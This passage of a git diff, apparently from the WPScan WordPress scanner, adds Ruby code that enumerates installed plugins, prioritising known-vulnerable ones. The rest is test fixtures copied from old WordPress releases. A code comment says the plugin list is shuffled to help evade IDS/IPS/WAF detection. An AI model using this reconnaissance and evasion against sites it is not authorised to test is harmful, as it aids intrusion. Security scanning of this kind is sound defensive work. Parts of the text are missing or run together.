+ + request.on_complete do |response| + print "\rChecking for " + targets_url.size.to_s + " total plugins... #{(request_count * 100) / targets_url.size}% complete." # progress indicator + + if valid_response_codes.include?(response.code) + if Digest::MD5.hexdigest(response.body) != local_404_hash + found_plugins << WpPlugin.new(target_url) + end + end + end + + hydra.queue(request) + queue_count += 1 + + if queue_count == browser.max_threads + hydra.run + queue_count = 0 + end + end + + hydra.run + + found_plugins + end + + def self.valid_response_codes + [200, 403, 301, 302] + end + + # Available options : + # :only_vulnerable_ones - default false + # :plugins_file - default DATA_DIR/plugins.txt + # :plugin_vulns_file - default DATA_DIR/plugin_vulns.xml + # + # @return Array of String + def plugins_targets_url(options = {}) + only_vulnerable = options[:only_vulnerable_ones] || false + plugins_file = options[:plugins_file] || "#{DATA_DIR}/plugins.txt" + plugin_vulns_file = options[:plugin_vulns_file] || "#{DATA_DIR}/plugin_vulns.xml" + targets_url = [] + + if only_vulnerable == false + # Open and parse the 'most popular' plugin list... + File.open(plugins_file, 'r') do |file| + file.readlines.collect do |line| + targets_url << WpPlugin.create_url_from_raw(line.chomp, @uri) + end + end + end + + xml = Nokogiri::XML(File.open(plugin_vulns_file)) do |config| + config.noblanks + end + + # We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it + xml.xpath("//plugin").each do |node| + plugin_name = node.attribute('name').text + + if targets_url.grep(%r{/#{plugin_name}/}).empty? + targets_url << WpPlugin.create_location_url_from_name(plugin_name, url()) + end + end + + targets_url.flatten! + targets_url.uniq! + # randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection + targets_url.sort_by { rand } + end + + # http://code.google.com/p/wpscan/issues/detail?id=42 + # plugins can be found in the source code : + # '); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '180px'; + + e = ed.selection.getNode(); + + this.fillFileList('image_list', 'tinyMCEImageList'); + + if (e.nodeName == 'IMG') { + f.src.value = ed.dom.getAttrib(e, 'src'); + f.alt.value = ed.dom.getAttrib(e, 'alt'); + f.border.value = this.getAttrib(e, 'border'); + f.vspace.value = this.getAttrib(e, 'vspace'); + f.hspace.value = this.getAttrib(e, 'hspace'); + f.width.value = ed.dom.getAttrib(e, 'width'); + f.height.value = ed.dom.getAttrib(e, 'height'); + f.insert.value = ed.getLang('update'); + f.class_name.value = ed.dom.getAttrib(e, 'class'); + this.styleVal = ed.dom.getAttrib(e, 'style'); + selectByValue(f, 'image_list', f.src.value); + selectByValue(f, 'align', this.getAttrib(e, 'align')); + this.updateStyle(); + } + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + update : function() { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (!ed.settings.inline_styles) { + args = tinymce.extend(args, { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }); + } else + args.style = this.styleVal; + + tinymce.extend(args, { + src : f.src.value, + alt : f.alt.value, + width : f.width.value, + height : f.height.value, + 'class' : f.class_name.value + }); + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + } else { + ed.execCommand('mceInsertContent', false, '', {skip_undo : 1}); + ed.dom.setAttribs('__mce_tmp', args); + ed.dom.setAttrib('__mce_tmp', 'id', ''); + ed.undoManager.add(); + } + + tinyMCEPopup.close(); + }, + + updateStyle : function() { + var dom = tinyMCEPopup.dom, st, v, cls, oldcls, rep, f = document.forms[0]; + + if (tinyMCEPopup.editor.settings.inline_styles) { + st = tinyMCEPopup.dom.parseStyle(this.styleVal); + + // Handle align + v = getSelectValue(f, 'align'); + cls = f.class_name.value || ''; + cls = cls ? cls.replace(/alignright\s*|alignleft\s*|aligncenter\s*/g, '') : ''; + cls = cls ? cls.replace(/^\s*(.+?)\s*$/, '$1') : ''; + if (v) { + if (v == 'left' || v == 'right') { + st['float'] = v; + delete st['vertical-align']; + oldcls = cls ? ' '+cls : ''; + f.class_name.value = 'align' + v + oldcls; + } else { + st['vertical-align'] = v; + delete st['float']; + f.class_name.value = cls; + } + } else { + delete st['float']; + delete st['vertical-align']; + f.class_name.value = cls; + } + + // Handle border + v = f.border.value; + if (v || v == '0') { + if (v == '0') + st['border'] = '0'; + else + st['border'] = v + 'px solid black'; + } else + delete st['border']; + + // Handle hspace + v = f.hspace.value; + if (v) { + delete st['margin']; + st['margin-left'] = v + 'px'; + st['margin-right'] = v + 'px'; + } else { + delete st['margin-left']; + delete st['margin-right']; + } + + // Handle vspace + v = f.vspace.value; + if (v) { + delete st['margin']; + st['margin-top'] = v + 'px'; + st['margin-bottom'] = v + 'px'; + } else { + delete st['margin-top']; + delete st['margin-bottom']; + } + + // Merge + st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st)); + this.styleVal = dom.serializeStyle(st); + } + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.width.value = f.height.value = ""; + }, + + updateImageData : function() { + var f = document.forms[0], t = ImageDialog; + + if (f.width.value == "") + f.width.value = t.preloadImg.width; + + if (f.height.value == "") + f.height.value = t.preloadImg.height; + }, + + getImageData : function() { + var f = document.forms[0]; + + this.preloadImg = new Image(); + this.preloadImg.onload = this.updateImageData; + this.preloadImg.onerror = this.resetImageData; + this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/spec/fixtures/wp_versions/2.5/readme.html b/spec/fixtures/wp_versions/2.5/readme.html new file mode 100755 index 00000000..a60861c5 --- /dev/null +++ b/spec/fixtures/wp_versions/2.5/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.5 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.5:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.5/wp-includes/js/tinymce/themes/advanced/js/link.js b/spec/fixtures/wp_versions/2.5/wp-includes/js/tinymce/themes/advanced/js/link.js new file mode 100755 index 00000000..a38f44bc --- /dev/null +++ b/spec/fixtures/wp_versions/2.5/wp-includes/js/tinymce/themes/advanced/js/link.js @@ -0,0 +1,126 @@ +tinyMCEPopup.requireLangPack(); + +var LinkDialog = { + preInit : function() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '180px'; + + this.fillClassList('class_list'); + this.fillFileList('link_list', 'tinyMCELinkList'); + this.fillTargetList('target_list'); + + if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { + f.href.value = ed.dom.getAttrib(e, 'href'); + f.linktitle.value = ed.dom.getAttrib(e, 'title'); + f.insert.value = ed.getLang('update'); + selectByValue(f, 'link_list', f.href.value); + selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); + selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); + } + }, + + update : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor, e, b; + + tinyMCEPopup.restoreSelection(); + + // Remove element if there is no href + if (!f.href.value) { + e = ed.dom.getParent(ed.selection.getNode(), 'A'); + if (e) { + tinyMCEPopup.execCommand("mceBeginUndoLevel"); + b = ed.selection.getBookmark(); + ed.dom.remove(e, 1); + ed.selection.moveToBookmark(b); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + } + + ed.execCommand('mceInsertLink', false, { + href : f.href.value, + title : f.linktitle.value, + target : f.target_list ? f.target_list.options[f.target_list.selectedIndex].value : null, + 'class' : f.class_list ? f.class_list.options[f.class_list.selectedIndex].value : null + }); + + tinyMCEPopup.close(); + }, + + checkPrefix : function(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) + n.value = 'http://' + n.value; + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillTargetList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v; + + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); + + if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { + tinymce.each(v.split(','), function(v) { + v = v.split('='); + lst.options[lst.options.length] = new Option(v[0], v[1]); + }); + } + } +}; + +LinkDialog.preInit(); +tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff --git a/spec/fixtures/wp_versions/2.6/readme.html b/spec/fixtures/wp_versions/2.6/readme.html new file mode 100755 index 00000000..1cc5ba8f --- /dev/null +++ b/spec/fixtures/wp_versions/2.6/readme.html @@ -0,0 +1,91 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 2.6 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory.
  2. +
  3. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
  4. +
  5. Save the file as wp-config.php
  6. +
  7. Upload everything.
  8. +
  9. Open /wp-admin/install.php in your browser. This should setup the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  10. +
  11. Note the password given to you.
  12. +
  13. The install script should then send you to the login page. Sign in with the username admin and the password generated during the installation. You can then click on 'Profile' to change the password.
  14. +
+ +

Upgrading

+

Before you upgrade anything, make sure you have backup copies of any files you may have modified such as index.php.

+

Upgrading from any previous WordPress to 2.6:

+
    +
  1. Delete your old WP files, saving ones you've modified.
  2. +
  3. Upload the new files.
  4. +
  5. Point your browser to /wp-admin/upgrade.php.
  6. +
  7. You wanted more, perhaps? That's it!
  8. +
+

Template Changes

+

If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, we've created a special guide for you.

+ +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The Development Blog
+
This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

System Recommendations

+
    +
  • PHP version 4.3 or higher.
  • +
  • MySQL version 4.0 or higher.
  • +
  • ... and a link to http://wordpress.org on your site.
  • +
+

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

Upgrading from another system

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above.

+ +

XML-RPC and Atom Interface

+

You can now post to your WordPress blog with tools like Windows Live Writer, Ecto, Bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the Blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final notes

+
    +
  • If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the plugin documentation in the Codex. In most all cases you shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

Copyright

+

WordPress is released under the GPL (see license.txt).

+ + + diff --git a/spec/fixtures/wp_versions/2.6/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/2.6/wp-admin/gears-manifest.php new file mode 100644 index 00000000..e85a83e3 --- /dev/null +++ b/spec/fixtures/wp_versions/2.6/wp-admin/gears-manifest.php @@ -0,0 +1,222 @@ +{ +"betaManifestVersion" : 1, +"version" : "042b5463d848123f945c211604b14c38_20080710a", +"entries" : [ +{ "url" : "js/common.js?ver=20080318" }, +{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" }, +{ "url" : "../wp-includes/js/quicktags.js?ver=3958" }, +{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" }, +{ "url" : "js/editor.js?ver=20080710" }, +{ "url" : "../wp-includes/js/prototype.js?ver=1.6" }, +{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20080316" }, +{ "url" : "../wp-includes/js/autosave.js?ver=20080622" }, +{ "url" : "../wp-includes/js/wp-lists.js?ver=20080411" }, +{ "url" : "../wp-includes/js/scriptaculous/scriptaculous.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" }, +{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" }, +{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" }, +{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" }, +{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" }, +{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" }, +{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" }, +{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" }, +{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20080430" }, +{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.0.2-20080430" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.0.2" }, +{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.0.2" }, +{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.0.2-20080407" }, +{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.1" }, +{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.1" }, +{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.1" }, +{ "url" : "js/cat.js?ver=20071101" }, +{ "url" : "js/categories.js?ver=20071031" }, +{ "url" : "js/tags.js?ver=20071031" }, +{ "url" : "js/custom-fields.js?ver=20070823" }, +{ "url" : "js/password-strength-meter.js?ver=20070405" }, +{ "url" : "js/edit-comments.js?ver=20080311" }, +{ "url" : "js/users.js?ver=20070823" }, +{ "url" : "js/forms.js?ver=20080401" }, +{ "url" : "js/xfn.js?ver=3517" }, +{ "url" : "js/upload.js?ver=20070518" }, +{ "url" : "js/postbox.js?ver=20080128" }, +{ "url" : "js/slug.js?ver=20080208" }, +{ "url" : "js/post.js?ver=20080629" }, +{ "url" : "js/page.js?ver=20080318" }, +{ "url" : "js/link.js?ver=20080131" }, +{ "url" : "js/comment.js?ver=20080219" }, +{ "url" : "js/gallery.js?ver=20080709" }, +{ "url" : "js/media-upload.js?ver=20080710" }, +{ "url" : "js/widgets.js?ver=20080503" }, +{ "url" : "js/word-count.js?ver=20080423" }, +{ "url" : "js/wp-gears.js?ver=20080511" }, +{ "url" : "js/theme-preview.js?ver=20080625" }, +{ "url" : "wp-admin.css?ver=2.6" }, +{ "url" : "rtl.css?ver=2.6" }, +{ "url" : "css/ie.css?ver=2.6" }, +{ "url" : "css/ie-rtl.css?ver=2.6" }, +{ "url" : "css/colors-classic.css?ver=2.6" }, +{ "url" : "css/colors-classic-rtl.css?ver=2.6" }, +{ "url" : "css/colors-fresh.css?ver=2.6" }, +{ "url" : "css/colors-fresh-rtl.css?ver=2.6" }, +{ "url" : "css/global.css?ver=2.6" }, +{ "url" : "css/global-rtl.css?ver=2.6" }, +{ "url" : "css/media.css?ver=20080709" }, +{ "url" : "css/media-rtl.css?ver=20080709" }, +{ "url" : "css/widgets.css?ver=2.6" }, +{ "url" : "css/widgets-rtl.css?ver=2.6" }, +{ "url" : "css/dashboard.css?ver=2.6" }, +{ "url" : "css/dashboard-rtl.css?ver=2.6" }, +{ "url" : "css/install.css?ver=20080708" }, +{ "url" : "css/install-rtl.css?ver=20080708" }, +{ "url" : "css/theme-editor.css?ver=2.6" }, +{ "url" : "css/theme-editor-rtl.css?ver=2.6" }, +{ "url" : "css/press-this.css?ver=20080710" }, +{ "url" : "css/press-this-rtl.css?ver=20080710" }, +{ "url" : "css/press-this-ie.css?ver=20080710" }, +{ "url" : "css/press-this-ie-rtl.css?ver=20080710" }, +{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20080613" }, +{ "url" : "css/login.css?ver=2.6" }, +{ "url" : "css/login-rtl.css?ver=2.6" }, + +{ "url" : "images/align-center.png" }, +{ "url" : "images/align-left.png" }, +{ "url" : "images/align-none.png" }, +{ "url" : "images/align-right.png" }, +{ "url" : "images/browse-happy.gif" }, +{ "url" : "images/bubble_bg.gif" }, +{ "url" : "images/comment-grey-bubble.png" }, +{ "url" : "images/comment-pill.gif" }, +{ "url" : "images/comment-stalk-classic.gif" }, +{ "url" : "images/comment-stalk-fresh.gif" }, +{ "url" : "images/comment-stalk-rtl.gif" }, +{ "url" : "images/date-button.gif" }, +{ "url" : "images/fade-butt.png" }, +{ "url" : "images/gear.png" }, +{ "url" : "images/logo-ghost.png" }, +{ "url" : "images/logo-login.gif" }, +{ "url" : "images/logo.gif" }, +{ "url" : "images/media-button-gallery.gif" }, +{ "url" : "images/media-button-image.gif" }, +{ "url" : "images/media-button-music.gif" }, +{ "url" : "images/media-button-other.gif" }, +{ "url" : "images/media-button-video.gif" }, +{ "url" : "images/media-buttons.gif" }, +{ "url" : "images/tab.png" }, +{ "url" : "images/tail.gif" }, +{ "url" : "images/toggle-arrow-rtl.gif" }, +{ "url" : "images/toggle-arrow.gif" }, +{ "url" : "images/wordpress-logo.png" }, +{ "url" : "images/xit.gif" }, +{ "url" : "images/loading-publish.gif" }, +{ "url" : "images/loading.gif" }, +{ "url" : "images/required.gif" }, +{ "url" : "images/no.png" }, +{ "url" : "images/yes.png" }, + +{ "url" : "../wp-includes/images/crystal/archive.png" }, +{ "url" : "../wp-includes/images/crystal/audio.png" }, +{ "url" : "../wp-includes/images/crystal/code.png" }, +{ "url" : "../wp-includes/images/crystal/default.png" }, +{ "url" : "../wp-includes/images/crystal/document.png" }, +{ "url" : "../wp-includes/images/crystal/interactive.png" }, +{ "url" : "../wp-includes/images/crystal/text.png" }, +{ "url" : "../wp-includes/images/crystal/video.png" }, +{ "url" : "../wp-includes/images/crystal/spreadsheet.png" }, +{ "url" : "../wp-includes/images/rss.png" }, +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" }, +{ "url" : "../wp-includes/js/thickbox/tb-close.png" }, +{ "url" : "../wp-includes/js/swfupload/swfupload_f9.swf" }, + +{ "url" : "../wp-includes/js/tinymce/tiny_mce_popup.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/utils/mctabs.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/utils/validate.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/utils/form_utils.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/utils/editable_selects.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pasteword.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pastetext.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/js/media.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/color_picker.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/charmap.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/image.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/link.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/source_editor.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/anchor.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js?ver=311d" }, +{ "url" : "../wp-includes/js/tinymce/tiny_mce.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/editor_template.js?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js?ver=311" }, + +{ "url" : "../wp-includes/js/tinymce/themes/advanced/source_editor.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/anchor.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/image.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/link.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/color_picker.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/charmap.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/media/media.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/pasteword.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/blank.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/paste/pastetext.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/template.htm?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/editimage.html?ver=311d" }, +{ "url" : "../wp-includes/js/tinymce/wp-mce-help.php?ver=311" }, + +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css?ver=311" }, +{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css?ver=311" }, +{ "url" : 